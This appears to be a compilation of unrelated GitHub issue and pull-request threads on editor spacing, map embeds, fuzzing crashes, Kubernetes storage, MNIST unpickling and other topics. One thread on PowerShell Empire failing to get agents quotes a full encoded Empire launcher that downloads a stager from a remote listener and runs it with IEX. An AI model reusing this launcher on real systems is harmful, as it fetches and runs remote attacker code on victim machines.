Corrected 'add_callback' for Signal Connection to Prevent Incorrect Number of New Lines

As originally reported by KoBeWi #33287 -- With code end-line behavior added in #29262, it's sometimes possible for the wrong number of new lines to be created depending on the number of new lines at the end of the document.
Now, it will try to find the last line with valid content and add the appropriate number of spaces according to the GDScript standard (2 new lines between each function.) This should bring more consistency to the user experience. For files with ridiculous amount of whitespace at the end of the document, there's a cutoff of 50 lines.

I'm not sure about this, as the GDScript style guide recommends separating functions with two blank lines (like in Python).

Ah yeah that's a good point. Well I could update it to reflect that (so that 2 lines don't become 3, for instance.)
Basically, the operation should always try to maintain ideal spacing between functions regardless of the amount of blank space at the end of the document.

In fact, I will go ahead and update this so that all new functions added conform to the GDScript guidelines with a single new line at the end of the document.

@Calinou Thanks for that feedback -- that's a good call and I should have double-checked the gdscript coding standards before pushing this upstream.
I've made changes that still address the concern of unwanted extra space after the last function. Now we can fetch the last line with actual content in it (non-empty line) and insert the appropriate number of new lines (2 lines).
Somewhat related to this, I actually feel that the number of preemptive new lines should be fetched from the scripts' language (via script->get_language()->lines_between_functions() akin to how function text is generated) so that the languages actually specify the standard of how many new lines we should be making.

I'm not sure about this, as the GDScript style guide recommends separating functions with two blank lines (like in Python).

How about making this optional? I use one line and expect the dialog to do the same.

I'm not sure about this, as the GDScript style guide recommends separating functions with two blank lines (like in Python).

How about making this optional? I use one line and expect the dialog to do the same.

Anybody have an additional thoughts on this?
Also, should I added the above proposed function to the Language api?

@KoBeWi IMO, Godot should always follow the language standards when modifying script files. If you use one line between functions in your project, it is very easy to simply erase that line :)
@Eoin-ONeill-Yokai When you get a chance, this needs to be rebased on the latest master branch. While there are no conflicts, rebasing is important so that reviewers can easily test the PR.

@Eoin-ONeill-Yokai When you get a chance, this needs to be rebased on the latest master branch. While there are no conflicts, rebasing is important so that reviewers can easily test the PR.

Yeah no worries, I'll rebase it this weekend.

@aaronfranke I've gone ahead and rebased this patch. Did some light testing and nothing seems to be broken since implementation.

I closed my issue; I forgot I even considered it a problem. It's such a non-issue that it's not worth "fixing".
The PR can be closed too I think.

@KoBeWi Agreed, I'm too busy to work on this again anyway.  :upside_down_face:


add dbscan to api docs

Will revise this after dbscan is moved to clustering.py

Pre-merge ci can be skipped for this (not checked).


Feature/data import fixes

Warning
Info
Issues
Fixes #1672

@njjc build passes!  ready for review and merge.  thanks!


Use retainable PVCs for stateful apps.

Currently if a deployment is deleted it will also delete the PVCs. I think it's best to pre-create PVs for some deployments to use. It would also helpful to move some PVCs to nfs because they only require file based storage.

[ ] Jackett config data using rook-ceph
[ ] nzbhydra2 config data using rook-ceph
[ ] ombi config data using rook-ceph
[ ] plex config data using rook-ceph
[ ] qbittorrent config data using nfs
[ ] Radarr config data using rook-ceph
[ ] Sonarr config data using rook-ceph
[ ] nzbget config data using nfs
[ ] tautulli config data using rook-ceph

A possible work-around would just to mark these PVCs as retainable

This may not be needed with using stash.

I don't think retainable PVCs are really needed with stash


Updated Profile Screen features

Confirmation messages pop up when user wants to delete their account
All user information is deleted from Firestore and Auth Users in Firebase Console
when updating user phone number automatically has hyphens for better legibility

LGTM!


add tmux 2.9 support

tmuxinator works fine with tmux 2.9

I ran into the same problem, thanks for the quick PR :)
On a side note: Is it possible to configure tmuxinator start to ignore the supported versions?
I'm running it in my xinit script and the "unsupported version" prompt caused it to crash silently.

I think you can just add the --suppress-tmux-version-warning flag

Thanks, @teddyhwang!
Would you mind adding an entry to CHANGELOG.md per the contributing guidelines?

@ethagnawl oof, my bad. Added!


disables scrollwhell in embeded maps

does someone can think any situation where the scrollwheel should be enabled in a embed map?
cc @saleiva @andrewxhill @jatorre @CartoDB/frontend

Frontend tests were OK :+1: (details)

But a no go. This should be disable on the options for it.

On 20/2/2015, at 19:38, Cartofante<EMAIL_ADDRESS>wrote:
Frontend tests were OK  (details)
—
Reply to this email directly or view it on GitHub.

Can we make this so it debounces the event? I hate when scrolling on a website and the embed captures the scroll and takes control because I was scrolling the full document. But I have the focus during X ms in the embed probably I like the scroll to take effect in the embed.
Just my two cents.

Hey,
We took the decision already. It is to disable it by default. There is an option to enable or disable it on CartoDB, and now is set to enable by default, let's just change it to disable by default and that's it.

—
Reply to this email directly or view it on GitHub.

:| ferdev?

No idea why ferdev was cc here!

On 23/2/2015, at 6:38, Javier Álvarez Medina<EMAIL_ADDRESS>wrote:
:| ferdev?
—
Reply to this email directly or view it on GitHub.

Who are you?!

I am jatorre!

On 23/2/2015, at 6:42, Javier Arce<EMAIL_ADDRESS>wrote:
Who are you?!
—
Reply to this email directly or view it on GitHub.

Ref. https://github.com/CartoDB/blog/issues/176

for me the @rochoa solution is the perfect one but hard to do  (specially for mobile). I will disable it by default

@Kartones review this
@javierarce review frontend code please

Frontend tests were OK :+1: (details)

+1 and thanks for adding me to this weirdly awesome thread :grinning:

:+1:


oss-fuzz: github.com/argoproj/argo-workflows/v3/pkg/apis/workflow/v1alpha1. Crash Type:	Null-dereference READ

https://oss-fuzz.com/testcase-detail/6484894593712128
==808==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x0000013d9336 bp 0x10c0000d1bf0 sp 0x10c0000d1be8 T0)
--
  | ==808==The signal is caused by a READ memory access.
  | ==808==Hint: address points to the zero page.
  | #0 0x13d9336 in github.com/argoproj/argo-workflows/v3/pkg/apis/workflow/v1alpha1.(*Workflow).GetLabels <autogenerated>:1
  |
  | AddressSanitizer can not provide additional info.
  | SUMMARY: AddressSanitizer: SEGV (/mnt/scratch0/clusterfuzz/bot/builds/clusterfuzz-builds_argo_0270c46007c4b4b574acef2861af493d8b512fcf/revisions/fuzz_workflow_server+0x13d9336)

This has been fixed.


Some elements with wrapped animation components are losing classes

I have an element with the class container and it has 2 children one with class left and one right
I wrapped children with classes left and right with different animation components tried (Fade,Slide,Bounce,Flip) and the styling was messed  up when I check on developers tools the elements are missing the classes but the inner children have their classes

Hi, can you please share a code snippet?

https://gist.github.com/endrits079/cc5f5378bb825ba92a75516eb2b82244
the div with class left and right are getting their  classes removed

The rounded div is supposed to have the class left but doesn't have any

Giving the same class to the animation element seems to solve the issue, even the class still missing on the div the correct styles are applied

Please use the className prop to add classes to the container element and the childClassName prop to add class to the child element wrapped by the animated component. Refer to the documentation to see the details!

UPDATE
Version 3.3.1 includes a fix that allows children to keep their className and style props (they are merged with the ones passed to childClassName and childStyle of an animated component).


Fix tab display when using .show-*

changing "display: block!important" to "display: flex!important" for show-* to fix tab display

To solve issue #417

@ricwtk can you chek if this issue is still present in my fork: https://github.com/lu4p/specter


Option to disable Clipboard API?

Description
Disable (all) features from the "Clipboard API and events" spec
Who's implementing?

[ ] I'm willing to implement this feature myself

The problem
This spec is detrimental to user experience if abused. And it it being abused. What do i mean by that?
An example from this site. If i copy the text:
openssl genrsa -des3 -out myCA.key 2048

Pasting that text results in:
openssl genrsa -des3 -out myCA.key 2048
Continue reading at https://angrysysops.com/2022/03/22/dns-over-https-in-unbound-extra-step-for-a-home-lab/ | [Angry Admin](https://angrysysops.com/)

In my opinion this is a gross misuse of features. I've seen quite a few sites already that modify the clipboard to add their own bs to is that you didn't select as copy command.
Possible solutions
Option to disable it.
Alternatives
none
Additional context
none

IMO this should be a task which a simple user-script or extension can do. If it can be done perfectly by extension, why add it to browser itself?

Do you have any recommendation for that?
I'm not aware of the existence of "anti-polyfill" or "reverse-polyfill" scripts. By which I mean a script to kill an already existing feature with a script.

chrome://settings/content/clipboard serves a different purpose. It gives the ability to block sites from seeing what you have in your clipboard. As google and microsoft - in all their selfish wishdom - decided it to be handy to see what's on there for interoperability between desktop apps and browser apps. They add some uniquely identifying code to the clipboard to easy their usecase.  Sigh....
Regarding https://greasyfork.org/scripts/432251, i haven't tested it. If you say it works i believe you on your word. Thing is, i want this to be disabled browser-wide without the need for custom scripts/addons to disable it. That script would be an alternative - less ideal - option.


new tutorial

I've added a new grid3d tutorial
and I've modified slightly the diffusion tuto to show how one could use the optimized parameters.
Feel free to inculde them or not !

Thanks!


Pinpoint: No data on the web tool, "The executor uses finite bounds for both maximum threads and work queue capacity, and is saturated"

[x ] I have checked the FAQ, and issues and found no answer.

What version of pinpoint are you using?
pinpoint-collector-1.8.5
Describe your problem**
No data being displayed.
What have you done?
Steps you have taken to trigger the problem, for example:

Stopped hbase, collector and web services.
Started hbase
Started Collector service
waited few minutes then started Web service

Screenshots

Logs
Oct 27 13:53:00 PinPoint java: 10-27 13:53:00.000 [ceiver-Io(19-3)] WARN  spanReceiverExecutor                     : The executor uses finite bounds for both maximum threads and work queue capacity, and is saturated. Check the maxPoolSize, queueCapacity, and HBase options in the configuration. maxPoolSize=32, rejectedCount=2679617200
Oct 27 13:53:00 PinPoint java: 10-27 13:53:00.000 [ceiver-Io(19-4)] WARN  spanReceiverExecutor                     : The executor uses finite bounds for both maximum threads and work queue capacity, and is saturated. Check the maxPoolSize, queueCapacity, and HBase options in the configuration. maxPoolSize=32, rejectedCount=2679617300
Oct 27 13:53:00 PinPoint java: 10-27 13:53:00.000 [ceiver-Io(19-7)] WARN  spanReceiverExecutor                     : The executor uses finite bounds for both maximum threads and work queue capacity, and is saturated. Check the maxPoolSize, queueCapacity, and HBase options in the configuration. maxPoolSize=32, rejectedCount=2679617400
Oct 27 13:53:00 PinPoint java: 10-27 13:53:00.000 [ceiver-Io(19-7)] WARN  spanReceiverExecutor                     : The executor uses finite bounds for both maximum threads and work queue capacity, and is saturated. Check the maxPoolSize, queueCapacity, and HBase options in the configuration. maxPoolSize=32, rejectedCount=2679617500
Oct 27 13:53:00 PinPoint java: 10-27 13:53:00.000 [ceiver-Io(19-4)] WARN  spanReceiverExecutor                     : The executor uses finite bounds for both maximum threads and work queue capacity, and is saturated. Check the maxPoolSize, queueCapacity, and HBase options in the configuration. maxPoolSize=32, rejectedCount=2679617600
Oct 27 13:53:00 PinPoint java: 10-27 13:53:00.000 [ceiver-Io(19-0)] WARN  spanReceiverExecutor                     : The executor uses finite bounds for both maximum threads and work queue capacity, and is saturated. Check the maxPoolSize, queueCapacity, and HBase options in the configuration. maxPoolSize=32, rejectedCount=2679617700
Oct 27 13:53:00 PinPoint java: 10-27 13:53:00.000 [ceiver-Io(19-0)] WARN  spanReceiverExecutor                     : The executor uses finite bounds for both maximum threads and work queue capacity, and is saturated. Check the maxPoolSize, queueCapacity, and HBase options in the configuration. maxPoolSize=32, rejectedCount=2679617800
Oct 27 13:53:00 PinPoint java: 10-27 13:53:00.000 [pcSpan-Server-4] WARN  .p.g.s.f.StreamExecutorServerInterceptor : Failed to request. Rejected execution, count=1
Oct 27 13:53:00 PinPoint java: 10-27 13:53:00.000 [ceiver-Io(19-0)] WARN  spanReceiverExecutor                     : The executor uses finite bounds for both maximum threads and work queue capacity, and is saturated. Check the maxPoolSize, queueCapacity, and HBase options in the configuration. maxPoolSize=32, rejectedCount=2679617900
Oct 27 13:53:00 PinPoint java: 10-27 13:53:00.000 [ceiver-Io(19-2)] WARN  spanReceiverExecutor                     : The executor uses finite bounds for both maximum threads and work queue capacity, and is saturated. Check the maxPoolSize, queueCapacity, and HBase options in the configuration. maxPoolSize=32, rejectedCount=2679618000

It seems that the performance of hbase is insufficient.
Check the performance of hbase.

Hi, Please advise how can we increase maxPoolSize and queue capacity?

It seems that the performance of hbase is insufficient. Check the performance of hbase.

Hi, Please advise how can we increase maxPoolSize and queue capacity?

Hi @lizandrejr
It is good to look at the performance of hbase itself.
Access the hbase server and check the status of hbase.
For tuning of hbase, refer to the hbase site and try to solve it.

Hi, Please see attached file for hbase stats from hbase site.


Support more Clipboard  Format ?

Now it only supports text, can it support more format clipboards?

duplicate of #232


Merge conflict markers

Latest commit contains merge conflict markers on the first and last line and the center on line 2801 rendering the module unloadable.

Thanks Tom, I've removed these now.


rzSliderTplUrl should be marked as optional.

Steps to reproduce

Turn on strict Component Bindings
$compileProvider.strictComponentBindingsEnabled(true);
Render an rzslider without setting the rzSliderTplUrl

<rzslider
   rz-slider-model="$ctrl.sliderModel"
   rz-slider-options="$ctrl.sliderOptions">
</rzslider>

Error: [$compile:missingattr] Attribute 'rzSliderTplUrl' of 'rzslider' is non-optional and must be set!
https://errors.angularjs.org/1.7.5/$compile/missingattr?p0=rzSliderTplUrl&p1=rzslider
at angular.js:138
at strictBindingsCheck (angular.js:11243)
at initializeBinding (angular.js:11266)
at forEach (angular.js:395)
at initializeDirectiveBindings (angular.js:11255)
at nodeLinkFn (angular.js:10472)
at angular.js:10900
at processQueue (angular.js:17914)
at angular.js:17962
at Scope.$digest (angular.js:19075)
Expected behaviour
Tell us what should happen
Given the value is actually optional (there's a default value of 'rzSliderTpl.html'
It should be marked as @? (optional)
Actual behaviour
Its not optional

Hi, I didn't know about strictComponentBindingsEnabled. Would you like to submit a PR fixing this?

Ok, leave it me with.


Session state race condition in app multiplexer

Currently, the app multiplexer sends its reply message before it updates its state. In addition to the annoying random build failures this causes, there's also a risk of the session state being inconsistent when the next message arrives.

:+1: if the Travis errors are unrelated.

fwiw I've restarted this job 2 times now and it's been failing every time.

This failure is in JS tests, which cannot be affected in any way by the changes in this branch unless they're somehow depending on the implementation details of random Python code.


Empire not getting Agents

Empire Version: 1.6
Kali Linux
Iam trying since 2 days now to get a reverse shell using Powershell Empire but it doesn't get any agents. Itried the Launcher and the macro function and it won't work Also when i try to access the url of the powershell string host i get the error message(not really an error message):
It works!
**This is the default web page for this server.
The web server software is running but no content has been added, yet.
Is it possible that empire doesn't set up the webserver corectly?**
The error message powershell shows:

The "Error message" the browser is showing

I have a similar problem on some boxes. I used empire v2 beta (but it also happened on master).
I start an http listener on port 80 and upload the launcher.bat to the windows target (Win 2008 server) and run it. in wireshark i see http traffic but no agent is shown in empire.

Any ideas?

Same here.
Using a regular old launcher.
C:\Windows\system32>powershell.exe -NoP -sta -NonI -Enc WwBTAFkAUwBUAGUAbQAuAE4A
ZQB0AC4AUwBlAFIAdgBJAEMARQBQAG8AaQBOAFQATQBhAG4AYQBHAEUAUgBdADoAOgBFAFgAcABFAGMA
dAAxADAAMABDAG8ATgBUAGkAbgB1AGUAIAA9ACAAMAA7ACQAdwBjAD0ATgBFAHcALQBPAGIASgBlAGMA
dAAgAFMAeQBzAHQARQBtAC4ATgBlAHQALgBXAGUAQgBDAEwAaQBlAG4AdAA7ACQAdQA9ACcATQBvAHoA
aQBsAGwAYQAvADUALgAwACAAKABXAGkAbgBkAG8AdwBzACAATgBUACAANgAuADEAOwAgAFcATwBXADYA
NAA7ACAAVAByAGkAZABlAG4AdAAvADcALgAwADsAIAByAHYAOgAxADEALgAwACkAIABsAGkAawBlACAA
RwBlAGMAawBvACcAOwAkAHcAYwAuAEgAZQBhAEQAZQBSAHMALgBBAEQAZAAoACcAVQBzAGUAcgAtAEEA
ZwBlAG4AdAAnACwAJAB1ACkAOwAkAFAAUgBvAHgAWQAgAD0AIABOAEUAVwAtAE8AYgBqAEUAQwBUACAA
TgBFAHQALgBXAEUAQgBQAHIATwB4AFkAOwAkAHAAcgBPAFgAWQAuAEEAZABEAFIAZQBzAFMAIAA9ACAA
JwAnADsAJAB3AEMALgBQAHIAbwBYAFkAIAA9ACAAJABQAFIATwBYAHkAOwAkAHcAYwAuAFAAUgBPAFgA
WQAuAEMAUgBlAGQAZQBOAFQAaQBhAEwAUwAgAD0AIABbAFMAWQBTAFQAZQBNAC4ATgBlAFQALgBDAFIA
ZQBkAGUATgB0AGkAQQBsAEMAQQBjAEgAZQBdADoAOgBEAGUAZgBBAFUATAB0AE4ARQB0AHcATwBSAGsA
QwByAGUAZABFAE4AVABpAEEAbABTADsAJABLAD0AJwA2AEsAXgA5AFgAKQBjAF8AbwBZAEAAbgA1ACUA
fQAyADEARAB1AEcAZQBTACEAewBCAEgAfAA9AGgAYQBrAHgAJwA7ACQAaQA9ADAAOwBbAEMASABhAHIA
WwBdAF0AJABCAD0AKABbAGMASABBAHIAWwBdAF0AKAAkAFcAYwAuAEQAbwBXAG4ATABvAEEARABTAHQA
UgBJAG4AZwAoACIAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQA3ADYALgAxADYAOQA6ADgA
MAA4ADAALwBpAG4AZABlAHgALgBhAHMAcAAiACkAKQApAHwAJQB7ACQAXwAtAEIAWABvAHIAJABLAFsA
JABJACsAKwAlACQAawAuAEwAZQBOAEcAdABoAF0AfQA7AEkARQBYACAAKAAkAGIALQBKAE8AaQBuACcA
JwApAA==
Exception calling "DownloadString" with "1" argument(s): "An exception occurred
 during a WebClient request."
At line:1 char:434
+ [SYSTem.Net.SeRvICEPoiNTManaGER]::EXpEct100CoNTinue = 0;$wc=NEw-ObJect SystEm
.Net.WeBCLient;$u='Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) li
ke Gecko';$wc.HeaDeRs.ADd('User-Agent',$u);$PRoxY = NEW-ObjECT NEt.WEBPrOxY;$pr
OXY.AdDResS = '';$wC.ProXY = $PROXy;$wc.PROXY.CRedeNTiaLS = [SYSTeM.NeT.CRedeNt
iAlCAcHe]::DefAULtNEtwORkCredENTiAlS;$K='6K^9X)c_oY@n5%}21DuGeS!{BH|=hakx';$i=0
;[CHar[]]$B=([cHAr[]]($Wc.DoWnLoADStRIng <<<< ("http://<IP_ADDRESS>:8080/ind
ex.asp")))|%{$_-BXor$K[$I++%$k.LeNGth]};IEX ($b-JOin'')
    + CategoryInfo          : NotSpecified: (:) [], MethodInvocationException
    + FullyQualifiedErrorId : DotNetMethodException

Invoke-Expression : Cannot bind argument to parameter 'Command' because it is a
n empty string.
At line:1 char:510
+ [SYSTem.Net.SeRvICEPoiNTManaGER]::EXpEct100CoNTinue = 0;$wc=NEw-ObJect SystEm
.Net.WeBCLient;$u='Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) li
ke Gecko';$wc.HeaDeRs.ADd('User-Agent',$u);$PRoxY = NEW-ObjECT NEt.WEBPrOxY;$pr
OXY.AdDResS = '';$wC.ProXY = $PROXy;$wc.PROXY.CRedeNTiaLS = [SYSTeM.NeT.CRedeNt
iAlCAcHe]::DefAULtNEtwORkCredENTiAlS;$K='6K^9X)c_oY@n5%}21DuGeS!{BH|=hakx';$i=0
;[CHar[]]$B=([cHAr[]]($Wc.DoWnLoADStRIng("http://<IP_ADDRESS>:8080/index.asp
")))|%{$_-BXor$K[$I++%$k.LeNGth]};IEX <<<<  ($b-JOin'')
    + CategoryInfo          : InvalidData: (:) [Invoke-Expression], ParameterB
   indingValidationException
    + FullyQualifiedErrorId : ParameterArgumentValidationErrorEmptyStringNotAl
   lowed,Microsoft.PowerShell.Commands.InvokeExpressionCommand

@ALBERT00 Would you be able to provide any more detail? It would be really difficult to track down the root cause of this issue with just this information. The only thing I notice is that you received a 504 gateway timeout when using your launcher. Are you using it behind a proxy?

No response. Closing.

I explicitly typed the payload on the server and the client, but didn't receive any agent in Empire.


partial spa project example

Description
Hi guys.
First of all, I would like to thank you for your work. Thanks to which we have a powerful tool for ssr.
I would like to create a question with a request. At the moment, I am engaged in a crypto exchange, we are faced with the task of making 3 pages in ssr mode, and the rest that are associated with the account in spa mode. Partly thanks to the documentation, I managed to do this.
However, I would like to see the best practice of this solution. It would be cool if you added an example for such a non-trivial task.
Stack: vue 3, vue-router, pinia, i18n, vite

Vps 0.4 has improved support for mixed render modes.
See https://github.com/brillout/vite-plugin-ssr/tree/0.4.0/examples/render-modes and make sure to use the latest 0.4 beta.


cmd/tap-info: fix frozen pathname usage

Fixes #6055 in cmd/tap-info.rb.

[x] Have you followed the guidelines in our Contributing document?
[x] Have you checked to ensure there aren't other open Pull Requests for the same change?
[x] Have you added an explanation of what your changes do and why you'd like us to include them?
[ ] Have you written new tests for your changes? Here's an example.

[x] Have you successfully run brew tests with your changes locally?

Thanks so much for your first contribution!  You rock, @melvyn2!


'ascii' codec can't decode byte 0x90 in position 614: ordinal not in range(128)

python 3.6.5 Anaconda still gives this error for
f = gzip.open('mnist.pkl.gz', 'rb')
training_data, validation_data, test_data = pickle.load(f, encoding="latin1")
f.close()

Works fine.

I am facing the same problem. In fact
f = gzip.open('neural-networks-and-deep-learning/data/mnist.pkl.gz', 'rb')
training_data, validation_data, test_data = pickle.load(f,encoding='bytes')
f.close()
or
with gzip.open('neural-networks-and-deep-learning/data/mnist.pkl.gz', 'rb') as ff:
u=pickle._Unpickler(ff)
u.encoding='latin1'
training_data, validation_data, test_data=u.load()
both are giving the same following error

training_data , validation_data , test_data = mnist_loader.load_data_wrapper()
Traceback (most recent call last):
File "", line 1, in
File "C:\Users\rkd\Desktop\NN-DL\mnist_loader.py", line 61, in load_data_wrapper
numpy.ndarry containing the input image, and y is the
File "C:\Users\rkd\Desktop\NN-DL\mnist_loader.py", line 39, in load_data

# training_data, validation_data, test_data = pickle.load(f,encoding='bytes')

UnicodeDecodeError: 'ascii' codec can't decode byte 0x90 in position 614: ordinal not in range(128)
I would appreciate your help in this regard.
best wishes
Ritesh

How to resolve that issue @ppatel26 ?

Turns out that un-pickling in Python 3 needs some decoding. As explained here. Basically, after opening on gzip, try the following,
u = pickle._Unpickler( f ) u.encoding = 'latin1' train, val, test = u.load()

lo que menciona shashankravi96 funciona perfecto! gracias

I am facing the same problem. In fact code
f = gzip.open('neural-networks-and-deep-learning/data/mnist.pkl.gz', 'rb')
training_data, validation_data, test_data = pickle.load(f,encoding='bytes')
f.close()
OR
with gzip.open('neural-networks-and-deep-learning/data/mnist.pkl.gz', 'rb') as ff:
u=pickle._Unpickler(ff)
u.encoding='latin1'
training_data, validation_data, test_data=u.load()
both are giving the same following error

training_data , validation_data , test_data = mnist_loader.load_data_wrapper()
Traceback (most recent call last):
File "", line 1, in
File "C:\Users\rkd\Desktop\NN-DL\mnist_loader.py", line 61, in load_data_wrapper
numpy.ndarry containing the input image, and y is the
File "C:\Users\rkd\Desktop\NN-DL\mnist_loader.py", line 39, in load_data
training_data, validation_data, test_data = pickle.load(f,encoding='bytes')
UnicodeDecodeError: 'ascii' codec can't decode byte 0x90 in position 614: ordinal not in range(128)
I would appreciate your help in this regard.

best wishes
Ritesh

Hi yebud! I just started 'neural-networks-and-deep-learning' a few days ago and I am stuck right now. I saw you used this learning material as well, is there any chance I can contact you? I want to learn from your valuable experience.
All the best, Thank you!

Hi,
this is the one that works for me.  I am using Python from Spyder from
Anaconda...
El mar., 21 de abr. de 2020 a la(s) 03:19, Poramintrl (
<EMAIL_ADDRESS>escribió:

I am facing the same problem. In fact code
f = gzip.open('neural-networks-and-deep-learning/data/mnist.pkl.gz', 'rb')
training_data, validation_data, test_data = pickle.load(f,encoding='bytes')
f.close()
OR
with gzip.open('neural-networks-and-deep-learning/data/mnist.pkl.gz',
'rb') as ff:
u=pickle._Unpickler(ff)
u.encoding='latin1'
training_data, validation_data, test_data=u.load()
both are giving the same following error
training_data , validation_data , test_data =
mnist_loader.load_data_wrapper()
Traceback (most recent call last):
File "", line 1, in
File "C:\Users\rkd\Desktop\NN-DL\mnist_loader.py", line 61, in
load_data_wrapper
numpy.ndarry containing the input image, and y is the
File "C:\Users\rkd\Desktop\NN-DL\mnist_loader.py", line 39, in load_data
training_data, validation_data, test_data = pickle.load(f,encoding='bytes')
UnicodeDecodeError: 'ascii' codec can't decode byte 0x90 in position 614:
ordinal not in range(128)
I would appreciate your help in this regard.
best wishes
Ritesh
Hi yebud! I just started 'neural-networks-and-deep-learning' a few days
ago and I am stuck right now. I saw you used this learning material as
well, is there any chance I can contact you? I want to learn from your
valuable experience.
All the best, Thank you!
—
You are receiving this because you commented.
Reply to this email directly, view it on GitHub
https://github.com/MichalDanielDobrzanski/DeepLearningPython35/issues/15#issuecomment-617090137,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/AO7HKCCT4ICSLVW34HHCBN3RNVXLPANCNFSM4F23OOSA
.

Turns out that un-pickling in Python 3 needs some decoding. As explained here. Basically, after opening on gzip, try the following,
u = pickle._Unpickler( f )
u.encoding = 'latin1'
train, val, test = u.load()

Works! Thank you :)

The code provided by @ppatel26 is functional in Python 3.8.2.

Turns out that un-pickling in Python 3 needs some decoding. As explained here. Basically, after opening on gzip, try the following,
u = pickle._Unpickler( f )
u.encoding = 'latin1'
train, val, test = u.load()

brilliant, It works for me in Colab, thanks

The solution proposed by @shashankravi96 works, however, there is a simpler, equivalent way of doing this:
substitute the line training_data, validation_data, test_data = pickle.load(f)
with training_data, validation_data, test_data = pickle.load(f, encoding='latin1')
or, in other words, add a second argument encoding='latin1' to the pickle.load function

I'm really lost, I'm relatively new to coding and whenever I try a solution for the mnist_loader file I get an error message that I don't understand. I don't suppose someone could put an example of a complete python file that I could just copy and paste? That would be amazing...

I'm really lost, I'm relatively new to coding and whenever I try a solution for the mnist_loader file I get an error message that I don't understand. I don't suppose someone could put an example of a complete python file that I could just copy and paste? That would be amazing...

Try codes below in Colab
!git clone https://github.com/mnielsen/neural-networks-and-deep-learning.git
import pickle
import gzip
import numpy as np

f = gzip.open("./neural-networks-and-deep-learning/data/mnist.pkl.gz")
training_data, validation_data, test_data = pickle.load(f, encoding="latin1")
print(training_data)```

Try from this repo
!git clone https://github.com/MichalDanielDobrzanski/DeepLearningPython35.git
!ls
import pickle
import gzip
import numpy as np

f = gzip.open("./DeepLearningPython35/mnist.pkl.gz")
training_data, validation_data, test_data = pickle.load(f, encoding="latin1")
print(training_data)

Thankyou for your help shaopengwu!
Unfortunately I don't understand what this does - the output from Colab is:
Cloning into 'neural-networks-and-deep-learning'...
remote: Enumerating objects: 1163, done.
remote: Total 1163 (delta 0), reused 0 (delta 0), pack-reused 1163
Receiving objects: 100% (1163/1163), 20.42 MiB | 14.01 MiB/s, done.
Resolving deltas: 100% (577/577), done.
(array([[0., 0., 0., ..., 0., 0., 0.],
[0., 0., 0., ..., 0., 0., 0.],
[0., 0., 0., ..., 0., 0., 0.],
...,
[0., 0., 0., ..., 0., 0., 0.],
[0., 0., 0., ..., 0., 0., 0.],
[0., 0., 0., ..., 0., 0., 0.]], dtype=float32), array([5, 0, 4, ..., 8, 4, 8]))
What does this mean? How does this help me?

Try from this repo
!git clone https://github.com/MichalDanielDobrzanski/DeepLearningPython35.git
!ls
import pickle
import gzip
import numpy as np

f = gzip.open("./DeepLearningPython35/mnist.pkl.gz")
training_data, validation_data, test_data = pickle.load(f, encoding="latin1")
print(training_data)

this worked well thank u so much

Try from this repo
!git clone https://github.com/MichalDanielDobrzanski/DeepLearningPython35.git
!ls
import pickle
import gzip
import numpy as np

f = gzip.open("./DeepLearningPython35/mnist.pkl.gz")
training_data, validation_data, test_data = pickle.load(f, encoding="latin1")
print(training_data)

even after setting encoding as latin1, it's still giving the same

UnicodeDecodeError: 'ascii' codec can't decode byte 0x90 in position 614: ordinal not in range(128)

Try from this repo
!git clone https://github.com/MichalDanielDobrzanski/DeepLearningPython35.git
!ls
import pickle
import gzip
import numpy as np

f = gzip.open("./DeepLearningPython35/mnist.pkl.gz")
training_data, validation_data, test_data = pickle.load(f, encoding="latin1")
print(training_data)

even after setting encoding as latin1, it's still giving the same

UnicodeDecodeError: 'ascii' codec can't decode byte 0x90 in position 614: ordinal not in range(128)
somehow it's not recognizing the encoding that I set?

if you are working on notebook, please shutdown the project and reconnect and then run the code to see. It works for me after such refresh.

I dont know why not actualize the code for python3. After all why bother leave the book only If you can use the code to study?
Paulo

Turns out that un-pickling in Python 3 needs some decoding. As explained here. Basically, after opening on gzip, try the following,
u = pickle._Unpickler( f )
u.encoding = 'latin1'
train, val, test = u.load()

This worked for me.

In python 3.9 you have to use named parameters like so:

import _pickle as cPickle
imported = cPickle.Unpickler(file=f, encoding='latin1')
training_data, validation_data, test_data = imported.load()

There are multiple issues on chapter 1 in respect of python2 -> 3:

print "string" -> print("string")
xrange(some list) -> range(some list)
...._data = zip(..._inputs) ->  ...._data = list(zip(..._inputs))
Then it runs in 3.7

For the people who are still struggling, just modify the code as follow:
f = gzip.open('../data/mnist.pkl.gz', 'rb')
u = pickle._Unpickler( f )
u.encoding = 'latin1'
training_data, validation_data, test_data = u.load()
f.close()
return (training_data, validation_data, test_data)
return (training_data, validation_data, test_data)

For the people, who still struggling with it, just change the code into:
f = gzip.open('../data/mnist.pkl.gz', 'rb')
u = cPickle.Unpickler(file=f, encoding='latin1')
training_data, validation_data, test_data = u.load()
f.close()
return (training_data, validation_data, test_data)
return (training_data, validation_data, test_data)

In python 3.9 you have to use named parameters like so:

import _pickle as cPickle
imported = cPickle.Unpickler(file=f, encoding='latin1')
training_data, validation_data, test_data = imported.load()

This worked for me. Thanks a lot!


feat/v0.1.0

dependent PRs:

[ ] https://github.com/libp2p/js-libp2p/pull/116
[ ] https://github.com/ipfs/js-ipfs/pull/830
[ ] https://github.com/libp2p/js-libp2p-tcp/pull/81
[ ] https://github.com/libp2p/js-libp2p-websockets/pull/62
[ ] https://github.com/whyrusleeping/js-mafmt/pull/16
[x] https://github.com/whyrusleeping/js-mafmt/pull/14
[x] https://github.com/multiformats/js-multiaddr/pull/41
[x] https://github.com/multiformats/js-multiaddr/pull/43
[x] ~~https://github.com/libp2p/js-libp2p-swarm/pull/201~~

[x] we're not doing multihop dialing, so this is not needed anymore

[x] https://github.com/libp2p/js-libp2p-swarm/pull/216
[x] https://github.com/libp2p/js-libp2p-swarm/pull/217
[x] https://github.com/dignifiedquire/pull-length-prefixed/pull/9

[x] needs to be published to npm @dignifiedquire

[x] ~~https://github.com/ipfs/js-libp2p-ipfs-nodejs/pull/105~~
[x] ~~https://github.com/libp2p/js-libp2p-tcp/pull/80~~
[x] ~~https://github.com/libp2p/js-libp2p-websockets/pull/61~~

Tasks:

[x] Implement the circuit transport

[x] Integrated circuit transport in swarm
[x] enable swarm dialing over circuit transport
[x] proper error handling

